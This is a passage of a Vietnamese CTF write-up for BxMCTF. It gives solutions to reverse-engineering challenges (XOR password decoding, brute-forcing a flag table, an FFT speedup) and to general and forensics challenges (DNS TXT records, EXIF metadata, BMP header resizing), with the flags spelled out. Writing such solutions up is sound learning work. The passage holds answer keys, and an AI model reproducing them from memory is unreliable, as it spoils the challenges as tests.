'o', '2', 'y', '3', 'r', 'y', 'n', 'd', 'f', '9', '8', 'o', 'r', '7', 'y', 'n', 'm', 'r', 'd', 'o',
'q', '8', '9', '7', 'y', 'n', 'm', 'd', 'r', 'o', '8', '9', 'q', '7', '3', '4', '2', 'd', 'r', 'y',
'n', 'm', 'o', '3', '2', 'q', '7', '8', '9', 'd', 'y', 'm', '4', 'o', 'q', '8', 'p', '9', 'r', 'n',
'y', 'm', 'f', 'o', 'j', '8', '9', '3', 'f', 'y', 'm', 'n', '7', '3', 'q', '8', '9', 'o', 'd', 'r',
'm', 'n', 'y', 'q', 'j', '2', '3', '8', '7', 'y', '7', '8', 'l', '5', 'y', 'q', '9', 'd', 'o', 'y',
'l', 'a', 'y', 'a', 'l', 'y', 'd', '9', '9', 'n', 'l', 'y', 'i', '7', 'N', '7', 'F', 'C', 'N', 'G',
'H', '3', 'I', 'W', 'Y'
};
public static void main(String[] args) throws Exception {
System.out.println("Welcome to the LMD Machine 3000!");
System.out.println("Please enter an integer: ");
int input = readInt();
System.out.println();
if (input < 1 || input > table.length) {
System.out.println("Invalid Input");
System.exit(0);
}
System.out.print("ctf{");
for (int i = 0, idx = 1; i < 15; ++i) {
idx = (idx * input) % table.length;
System.out.print(table[idx]);
}
System.out.println("}");
}
static int readInt() {return FastReader.readInt();}
static long readLong() {return FastReader.readLong();}
static double readDouble() {return FastReader.readDouble();}
static float readFloat() {return FastReader.readFloat();}
static String readLine() {return FastReader.readLine();}
static String next() {return FastReader.next();}
static boolean readBool() {return FastReader.readBool();}
static class FastReader extends PrintWriter {
private final InputStream stream;
private final byte[] buf = new byte[1 << 16];
private int curChar, numChars;
public FastReader() {this(System.in, System.out);}
public FastReader(InputStream i, OutputStream o) {super(o);stream = i;}
public FastReader(String i, String o) throws IOException {
super(new FileWriter(o)); stream = new FileInputStream(i);
}
private int readByte() {
if (numChars == -1) {throw new InputMismatchException();}
if (curChar >= numChars) {
curChar = 0;
try {numChars = stream.read(buf);
}catch(Exception e){throw new InputMismatchException();}
if (numChars == -1) {return -1;}
}
return buf[curChar++];
}
public String next() {
int c; do {c = readByte();} while (c <= ' ');
StringBuilder res = new StringBuilder();
do {res.appendCodePoint(c);c = readByte();} while (c > ' ');
return res.toString();
}
public String readLine() {
int c; do {c = readByte();} while (isEndLine(c));
StringBuilder res = new StringBuilder();
do {res.appendCodePoint(c);c = readByte();} while (c >= ' ');
return res.toString();
}
public int readInt() {
int c, sgn = 1, res = 0;
do {c = readByte();} while (c <= ' ');
if (c == '-') {sgn = -1;c = readByte();}
do {
if (c < '0' || c > '9') {throw new InputMismatchException();}
res = 10 * res + c - '0';c = readByte();
} while (c > ' ');
return res * sgn;
}
/**
* Psst
*
* https://drive.google.com/file/d/1oDDXyVxYHqdGB6H2bddUxbRL3z39SZb3/view?usp=sharing
*/
public double readDouble() {return Double.parseDouble(next());}
public long readLong() {return Long.parseLong(next());}
public float readFloat() {return Float.parseFloat(next());}
public boolean readBool() {return Boolean.parseBoolean(next());}
boolean isEndLine(int c) {return c == '\n' || c == '\r' || c == -1;}
}
}
```
- đoạn mã trên cho ta biết input ta sẽ nằm trong khoảng 0<1107

>ta có thể copy cái table r dùng python đếm số ký tự
- thì khi cho chạy source đưa input từ 0 đến 1106 ta sẽ có tương ứng 1107 cái flag khác nhau =)))))
- ta sẽ viết code lưu 1107 cái flag vào 1 tệp .txt
```python
table= [
'd', 'y', 'n', 'm', 'r', '7', '2', '3', '9', '8', 'o', '2', 'm', 'n', 'y', 'l', 'r', 'f', '7', '4', '9',
'0', '2', '3', 'q', 'y', 'n', 'd', '7', '8', '9', '4', '2', '3', 'y', 'd', '8', '9', 'o', 'q', '7',
's', 'n', 'g', 'y', 'u', 'i', '2', 'g', 'h', 'u', 'y', 'i', 'c', 'g', 'i', 'k', 'a', 'd', 'l', 'd',
'g', 'h', 'i', 'w', 'k', 'a', 'l', 'S', 'D', 'H', 'N', 'Q', 'O', '3', '2', '7', 'D', 'Q', '2', 'O',
'8', 'G', 'D', 'H', '7', '8', 'O', '2', 'Q', 'D', 'N', 'G', 'W', 'U', 'A', 'K', 'D', 'G', 'H', 'X',
'K', 'J', 'S', 'A', 'G', 'D', '2', 'K', 'S', 'A', 'G', 'I', 'K', 'G', 'I', 'Y', 'K', 'G', 'I', 'K',
'7', 'i', 'k', 'l', 'f', 'g', '3', 'i', 'k', 'r', 'g', 'f', '3', '8', 'o', '4', '7', 't', 'g', '3',
'9', '8', 'o', 'f', 'g', 'o', '7', 'i', 'h', 'f', 'k', 'u', 'i', 'a', 'l', 'w', 'e', 'h', 'f', 'i',
'l', 'w', 'k', 'a', '}', 'h', 'x', 'w', 'l', 'a', 'u', 'k', 'f', 'x', 'n', 'h', 'e', 'a', 'o', 'i',
'u', 'h', 'x', 'f', 'g', 'a', 'w', 'i', 'o', 'u', 'y', 'g', 'h', 'e', 'a', 'w', '8', 'o', 'n', '7',
'4', 'w', 'f', '8', 'o', 'n', 'w', 'q', 'g', '7', '8', 'o', '4', 'w', 'a', 'n', 'g', 'h', 'u', 'i',
'a', 'w', 'e', 'k', '0', 'l', 'f', 'b', 'x', 'c', 'j', 'k', 'a', 's', 'd', 'f', 'b', 'j', 'k', 'a',
's', 'e', 'f', 'k', 'j', 'a', '7', 'e', 'n', 'f', 'g', 'a', 'i', 'u', 'y', 'w', 'e', 'k', 'f', 'g',
'y', 'u', 'w', 'e', 'a', 'i', 'o', 'g', 'h', 'x', 'f', 'a', 'e', 'j', 'k', 'w', 'B', 'f', 'w', 'e',
'a', 'k', 'j', 'f', 'g', 'h', 'a', 'w', '7', 'g', 'v', 'a', 'w', 'u', 'b', 't', '3', '2', 'q', '6',
'7', '8', 'd', 't', 'b', '3', 'q', '6', '8', 'o', '4', 't', 'q', '7', '8', 'o', 'i', '3', 't', 'r',
'o', '8', 'c', '7', 'b', 't', '3', '5', 'p', '9', 'q', 't', 'y', '5', 'c', '7', '1', 'b', 'r', 't',
'c', 'y', '2', '7', '1', '8', 'f', '2', '7', '1', '8', '9', '0', '7', 'n', 'y', '0', '9', '8', 'y',
'm', 'r', '8', '9', '2', 'm', 'c', '0', '9', '2', 'y', 'i', 'o', 'h', 'u', 'i', 'w', 'h', 'i', 'l',
'w', 'n', 'h', 'r', 'i', 'u', 'w', 'e', 'k', 'l', 'h', 'n', '8', '2', '7', '0', '3', 'n', 'y', 'r',
'7', '4', 'j', '3', 'y', 'n', 'r', '7', '8', '3', 'n', 'g', 'h', 'c', 'e', '7', 'u', 'n', 'g', 'c',
'h', 'o', '3', '7', 'i', '4', 'y', 'h', 'r', 'o', 'i', 'u', 'w', 'e', 'h', 'r', 'i', 'o', 'w', 'n',
'r', 'u', 'w', 'e', 'i', 'r', 'h', 'n', 'w', 'o', 'u', 'i', 'e', 'n', 'h', 'r', 'i', 'u', 'i', '3',
'e', 'w', 'n', 'h', 'u', 'i', 'w', 'o', 'h', 'c', 'm', 'r', '7', '8', '4', 'n', 'y', '3', '7', '9',
'8', '4', '4', '5', '4', '4', '6', 't', '4', '3', '7', '8', '9', '5', '6', '3', '9', '8', '7', 'c',
'n', 't', '5', 'y', '9', '3', '4', '7', '8', 'n', '5', 't', 'y', 'c', '7', '8', '9', '3', '4', '6',
'c', '5', '9', '8', '7', '3', '2', '7', '9', 't', 'y', 'b', 'n', '9', 'p', '2', 'y', 'n', 'x', '9',
'1', '2', 'y', '3', 'r', 'y', 'n', 'd', 'f', '9', '8', 'o', 'r', '7', 'y', 'n', 'm', 'r', 'd', 'o',
's', '8', '9', '7', 'y', 'n', 'm', 'd', 'r', 'o', 'h', '9', 'q', '7', '0', '4', '2', 'd', 'r', 'y',
'n', 'm', '9', '3', '2', 'q', '7', '8', '9', 'd', 'y', 'm', '4', 'o', 'q', '8', 't', '9', 'r', 'n',
'y', 'm', 'f', 'o', 'q', '8', '9', '3', 'f', 'y', 'm', 'n', 'y', '3', 'q', '8', '}', 'o', 'd', 'r',
'm', 'n', 'y', 'q', '9', '2', '3', '8', '7', 'y', '7', '8', '9', '5', 'y', 'q', '9', 'd', 'o', 'y',
'l', 'a', 'y', 'a', 'l', 'y', 'd', '9', 'y', 'n', 'l', 'y', 'i', '7', 'N', '7', 'F', 'C', 'N', 'G',
'H', '3', 'I', 'W', 'Y', 'U', 'T', 'G', 'N', '3', 'I', '7', 'f', '4', 'T', 'G', '8', '7', '3', '6',
'I', 'W', 'T', '5', 'Y', '7', '8', 'W', '3', '4', 'O', 'N', 'F', 'C', 'B', 'O', 'd', '3', '7', 'N',
'Y', 'F', 'R', '4', 'N', '7', 'U', 'I', 'Y', 'E', 'K', 'L', 'S', 'H', 'A', 'I', 'U', 'H', 'E', 'R',
'F', 'U', 'A', 'I', 'W', 'K', 'R', 'N', 'o', 'F', 'H', 'A', 'O', '7', '8', '4', 'Y', '7', 'O', '8',
'Y', '7', '8', 'O', 'Y', 'N', '7', '8', '4', 'Y', 'N', 'R', 'Q', '7', 'O', '8', '1', '4', '9', 'R',
'Y', 'N', 'M', 'C', 'Q', '3', 'd', 'R', 'C', 'N', 'Y', '7', 'Q', 'O', 'I', '3', 'U', 'N', 'Y', 'C',
'H', 'R', 'I', 'L', 'U', 'H', 'I', 'L', 'W', 'A', 'H', 'E', 'R', 'U', '1', 'W', 'L', 'N', 'H', 'C',
'U', 'I', 'W', '4', 'A', 'N', 'Y', 'H', 'R', 'C', '4', 'A', 'O', '8', '7', '9', 'R', 'Y', 'N', '7',
'C', 'A', '8', 'Y', 'R', 'C', 'N', '7', '8', 'O', 'A', 'R', 'Y', 'C', 'o', '7', '8', '8', 'O', 'C',
'R', 'Y', 'N', 'M', 'A', 'C', '7', 'N', 'R', 'H', 'A', 'E', 'I', 'U', 'w', 'O', 'H', 'N', 'R', 'C',
'A', 'W', 'U', 'I', 'O', 'N', 'H', 'O', 'U', 'I', '3', '7', '8', '6', '2', '8', 'j', '2', '6', '7',
'8', '9', '1', '6', '4', '7', '8', '9', 'n', '6', 'd', 'x', '9', '8', '7', '2', '3', 'n', 'y', '4',
'7', '8', '2', 'y', 'x', 'e', '9', 'd', 'h', '2', '7', '3', '8', 'h', 'n', 'x', '7', '8', '9', '2',
'1', '5', '4', '4', '6', 't', '4', '3', '7', '8', '9', '5', '1', '3', '9', '8', '7', 'p', 'P', 'c',
'n', 't', '5', 'y', '9', '3', '4', '7', 'd', 'n', '5', 't', 'y', 'c', '7', '8', '9', '3', '4', '6',
'c', '5', '9', '8', '7', '3', '2', '7', '9', 't', 'y', 'b', 'n', '9', 'p', '2', 'y', 'n', 'x', '9',
'o', '2', 'y', '3', 'r', 'y', 'n', 'd', 'f', '9', '8', 'o', 'r', '7', 'y', 'n', 'm', 'r', 'd', 'o',
'q', '8', '9', '7', 'y', 'n', 'm', 'd', 'r', 'o', '8', '9', 'q', '7', '3', '4', '2', 'd', 'r', 'y',
'n', 'm', 'o', '3', '2', 'q', '7', '8', '9', 'd', 'y', 'm', '4', 'o', 'q', '8', 'p', '9', 'r', 'n',
'y', 'm', 'f', 'o', 'j', '8', '9', '3', 'f', 'y', 'm', 'n', '7', '3', 'q', '8', '9', 'o', 'd', 'r',
'm', 'n', 'y', 'q', 'j', '2', '3', '8', '7', 'y', '7', '8', 'l', '5', 'y', 'q', '9', 'd', 'o', 'y',
'l', 'a', 'y', 'a', 'l', 'y', 'd', '9', '9', 'n', 'l', 'y', 'i', '7', 'N', '7', 'F', 'C', 'N', 'G',
'H', '3', 'I', 'W', 'Y']
s=""
file = open("output.txt", "w")
for input_ in range(1,len(table)+1):
idx=1
s+="ctf{"
for i in range(0,15):
idx = (idx * input_) % len(table)
s+=(table[idx])
s+="}"
file.write(str(input_)+ " "+s+"\n")
s=""
file.close()
```
- ngoài ra trong source mình decode ra có 1 đường dẫn cho ta hint
- mà đường dẫn đó lại cho ta thêm 1 loại mã hoá
- decode ta được:
```txt
Roses are red,
Violets are blue,
If one wants to pick the correct flag,
Then they should seek the Unix Epoch as a clue
```
- hint cũng chưa rõ lắm
- sau 1 thời gian thì tác giả lại cho thêm hint:
```txt
The hint points to the year of the thing everyone should seek as a clue.
```
- lúc này lờ mờ đoán được sẽ liên quan đến con số 1970 (con số Unix Epoch - gọi cách khác là Unix Time)
- thì trong file flag.txt chứa 1107 cái flag, ta ctrl+F tìm ``1970`` thì có đúng 1 flag này dính
- submit luôn
> FLAG: ctf{hjwilj111970djs}
---
### x86?
- Check file và chạy thử

- Khái quát sơ thử thách này: đây là một thử thách có vẻ không khó lắm, thử thách yêu cầu nhập `password` đúng (có lẽ đó là flag).
- Tôi sẽ sử dụng công cụ IDA để giải quyết:
- Load file vào IDA và như thường lệ tôi sẽ check xem những `strings` được sử dụng, từ đó xem chúng như là gợi ý tìm đến đoạn code trọng tâm để dễ dàng giải quyết vấn đề


- Thật thất vọng không đúng như dự đoán trước đó:)))), tôi đã không tìm được đoạn code chứa chuỗi `Incorrect password`
- Hướng giải khác, tôi tìm hàm `main` và xem chúng làm những gì:
- Bằng những thao tác đơn giản tôi tìm được đoạn mã (vì đoạn mã asm khá dài nên tôi sẽ viết lại bằng code c++):
- Thử thách:
```cpp
#include <iostream>
#include <string>
using namespace std;
int main() {
const unsigned char hexString[] = {
0x0, 0x63, 0x17, 0x71, 0x0A, 0x3E, 0x50, 0x24, 0x15,
0x4A, 0x2E, 0x1F, 0x6C, 0x58, 0x2B, 0x46, 0x19,
0x74, 0x47, 0x73, 0x00, 0x75, 0x07, 0x34, 0x47,
0x18, 0x7E, 0x0A, 0x7D, 0x0
};
int length = sizeof(hexString) / sizeof(hexString[0]);
string input;
cout<<"Enter the password:"<<endl;
cin>>input;
for (int i=0;i<length-1;i++)
{
if (char(hexString[i]^hexString[i+1])!=input[i])
{
cout<<"Incorrect password"<<endl;
return 0;
}
}
cout<<"That's correct!";
return 0;
}
```
- Giải quyết:
```cpp
#include <iostream>
#include <string>
using namespace std;
int main() {
const unsigned char hexString[] = {
0x0, 0x63, 0x17, 0x71, 0x0A, 0x3E, 0x50, 0x24, 0x15,
0x4A, 0x2E, 0x1F, 0x6C, 0x58, 0x2B, 0x46, 0x19,
0x74, 0x47, 0x73, 0x00, 0x75, 0x07, 0x34, 0x47,
0x18, 0x7E, 0x0A, 0x7D, 0x0
};
int length = sizeof(hexString) / sizeof(hexString[0]);
string output="";
for (int i=0;i<length-1;i++)
{
output+=char(hexString[i]^hexString[i+1]);
}
cout<<output;
return 0;
}
```
> FLAG: ctf{4nt1_d1s4sm_m34sur3s_ftw}
---
### MCV5U
- Thử thách này cần được cải tiến để có thể giảm thời gian chạy qua đó thu về được flag.
- Giải pháp:
```python
import hashlib
from functools import lru_cache
from time import time
import math
SIZE: int = 300000
VERIFY_KEY: str = "46e1b8845b40bc9d977b8932580ae44c"
# Fast Fourier Transform
def padding(arr: list[int], target_length: int) -> list[int]:
padded: list[int] = arr + [0] * (target_length - len(arr))
return padded
def fft(arr: list[complex]) -> list[complex]:
n: int = len(arr)
if n <= 1:
return arr
even: list[complex] = fft(arr[0::2])
odd: list[complex] = fft(arr[1::2])
twiddle_factor: list[complex] = [
math.cos(2 * math.pi * k / n) - 1j * math.sin(2 * math.pi * k / n)
for k in range(n // 2)
]
transformed: list[complex] = [
even[i] + twiddle_factor[i] * odd[i] for i in range(n // 2)
] + [even[i] - twiddle_factor[i] * odd[i] for i in range(n // 2)]
return transformed
# inverse fft
def ifft(arr: list[int]) -> list[complex]:
n = len(arr)
conjugate: list[complex] = [complex(i.real, -i.imag) for i in arr]
transformed: list[complex] = fft(conjugate)
inverse: list[complex] = [complex(i.real, -i.imag) / n for i in transformed]
return inverse
@lru_cache(maxsize=None)
def Faster(n: int) -> int:
global A, B
# make length equal to a power of 2
powerOfTow: int = int(2 ** math.ceil(math.log2(n * 2 - 1)))
first: list[int] = padding(A, powerOfTow)
second: list[int] = padding(B, powerOfTow)
# Apply FFT
fft1: list[complex] = fft(first)
fft2: list[complex] = fft(second)
FFT: list[complex] = [a * b for a, b in zip(fft1, fft2)] # multiply Them
ANS: list[complex] = ifft(FFT) # inverse FFT
Target: int = n * 2 - 1
ANS: list[complex] = ANS[:Target]
val: int = int(sum([i.real for i in ANS[:Target]]))
return val
A: list[int] = [0] * SIZE
B: list[int] = [0] * SIZE
document1 = open("Document 1.txt", "r")
nums1: list[str] = document1.readlines()
document1.close()
idx: int = 0
for num in nums1:
A[idx] = int(num.strip())
idx += 1
document2 = open("Document 2.txt", "r")
nums2: list[str] = document2.readlines()
document2.close()
idx: int = 0
for num in nums2:
B[idx] = int(num.strip())
idx += 1
assert len(A) == len(B)
begin: float = time()
val: int = Faster(SIZE)
print(f"SUM = {val}")
end: float = time()
print(f"TIME EXECUTION = {end-begin}")
val: str = str(val)
md5: str = hashlib.md5(val.encode()).hexdigest()
print(f"md5 = {md5}")
assert md5 == VERIFY_KEY, "NOPE"
key: str = str(hashlib.sha256(val.encode()).digest())
print(f"GG THE KEY IS => {key}")
flag: str = (
"ctf{" + "".join(list([x for x in key if x.isalpha() or x.isnumeric()])) + "}"
)
print(f"FLAG IS => {flag}")
print("TIME COMPLEXITY => O(N*log(N))")
//trích nguồn "mohammad olimat" 11:29 5/6/2023
```

> FLAG: ctf{bx8b2xdcx80x8bxafx90x16x0fxc9Cx87x99Gx8cx1dxb9x8exb4xfaLx93xcfx9dxcfyx13xb5Lxee}
---
### ICS5U
- Decode tệp dữ liệu (sử dụng base32) ta được gợi ý:
*I wonder... what are the first four numbers of the same type as in "puzzle.php" that are greater than 1 trillion...*
- Vậy chỉ cần tìm được 4 số thỏa mãn điều kiện theo gợi ý...Ở đây tôi sẽ gợi ý cho bạn 4 số đó là:
- 1000151515441
- 1000321709401
- 1000642078801
- 1001102784001
> FLAG: ctf{2029395652961987395}
---
## GENERAL
### Survey

>FLAG: ctf{h0p3_u_3nj0y3d}
---
### Welcome to BxMCTF!
- Bài này cho trẻ em chơi vô chall là thấy cờ
> FLAG:ctf{check_out_our_sponsors!}
---
### New Website
- Chall cho ta 1 web lỗi như sau :DNS_PROBE_FINISHED_NXDOMAIN

- thì suy ra tìm trong các bản ghi dns thôi:

> FLAG:ctf{w41t_wh4ts_4_txt_r3c0rd}
---
### GeoGuessr IRL
- đề cho ta 1 hình
- lên gg lens tìm:

>hint: cầu brooklyn
- mô tả:
```
Geoguessr's NMPZ tolerances are way too loose. It's supposed to be the hardest mode, but they need a devil difficulty: you can be over 40 meters away and still get a perfect score of 5000!
In this challenge, 40+ meters is no more. If NMPZ was hard, this is devil mode. You must be precise to 3 meters. Find the what3words location of this photo and wrap it with ctf{}.
For example, if the words are apple.pear.peach, submit ctf{apple.pear.peach}.
```
- [link web 3 chữ](https://what3words.com/)
- sau 1 hồi căng mắt tìm kiếm và brute flag thì dc kết quả này

[👉link](https://what3words.com/happen.system.privately)
> FLAG: ctf{happen.system.privately}
---
## FORENSICS
### Selfie
- Chall đưa cho ta 1 cái hình như thế này

- Nhìn giống thằng @wan vãi ò :v:
- Ta dùng exiftool để lấy infor anh @wan

- Ta thu được ``License: Y3Rme25xaUoyQnQyaVZEa2d6fQ``
- Decode Base64 là thu được flag thuiiii

> FLAG: ctf{nqiJ2Bt2iVDkgz}
___
### Street View
- đề cho ta 1 file hình ảnh

- theo thói quen mở exiftool
- và nhận đc 2 dòng số có vẻ giống toạ độ


>dùng tool online tự convert cho mình kkk
> [link tool](https://exif.tools/#upload)
- lên gg map paste toạ độ đó vô và nhận được hình ảnh 3 chiều y hệt hình ảnh

- [location](https://www.google.com/maps/@43.8772239,-79.4090736,3a,75y,77.05h,59.56t/data=!3m6!1e1!3m4!1s5g15RcBXKj6U2LvLyn3B-g!2e0!7i16384!8i8192?entry=ttu)
- flag ta cần là 1 domain của công ty sở hữu toà nhà đó
```
Submit the domain name of the company that owns the building as the flag, wrapped in ctf{}
```

> FLAG: ``ctf{walmart.ca}``
---
### Secrets
- Chall đưa cho ta 1 file .bmp, nếu mở bằng Win bình thường thì sẽ không được hỗ trợ, nên bạn phải mở bằng [Photopea](https://www.photopea.com/)
- Mở trên đó, ta thấy được 1 ảnh

- Hurray :v: FLag chính là ``ctf{totally_the_correct_flag}``
- Lừa thui iem ơi, flag thực sự là ở ngoài cái ảnh này, và ta cần phải thay đổi lại kích thước của ảnh gốc bằng cách lên [Hexedit](https://hexed.it/) để thay đổi

- Ta cần phải thay đổi giá trị của F4 và 01, để thay đổi kích thước. Ta cho luôn là C6 02 để thu được 1 ảnh hình vuông có các cạnh bằng nhau
- Sau đó mở lại trên Photopea thui

- Đây mới chính là ảnh gốc thực sự hihi :v
- Bạn cũng có thể tham khảo wu khác [ở đây](https://picoctf2021.haydenhousen.com/forensics/tunn3l-v1s10n)
> FLAG: ctf{1m4g3_s3cr3ts}
---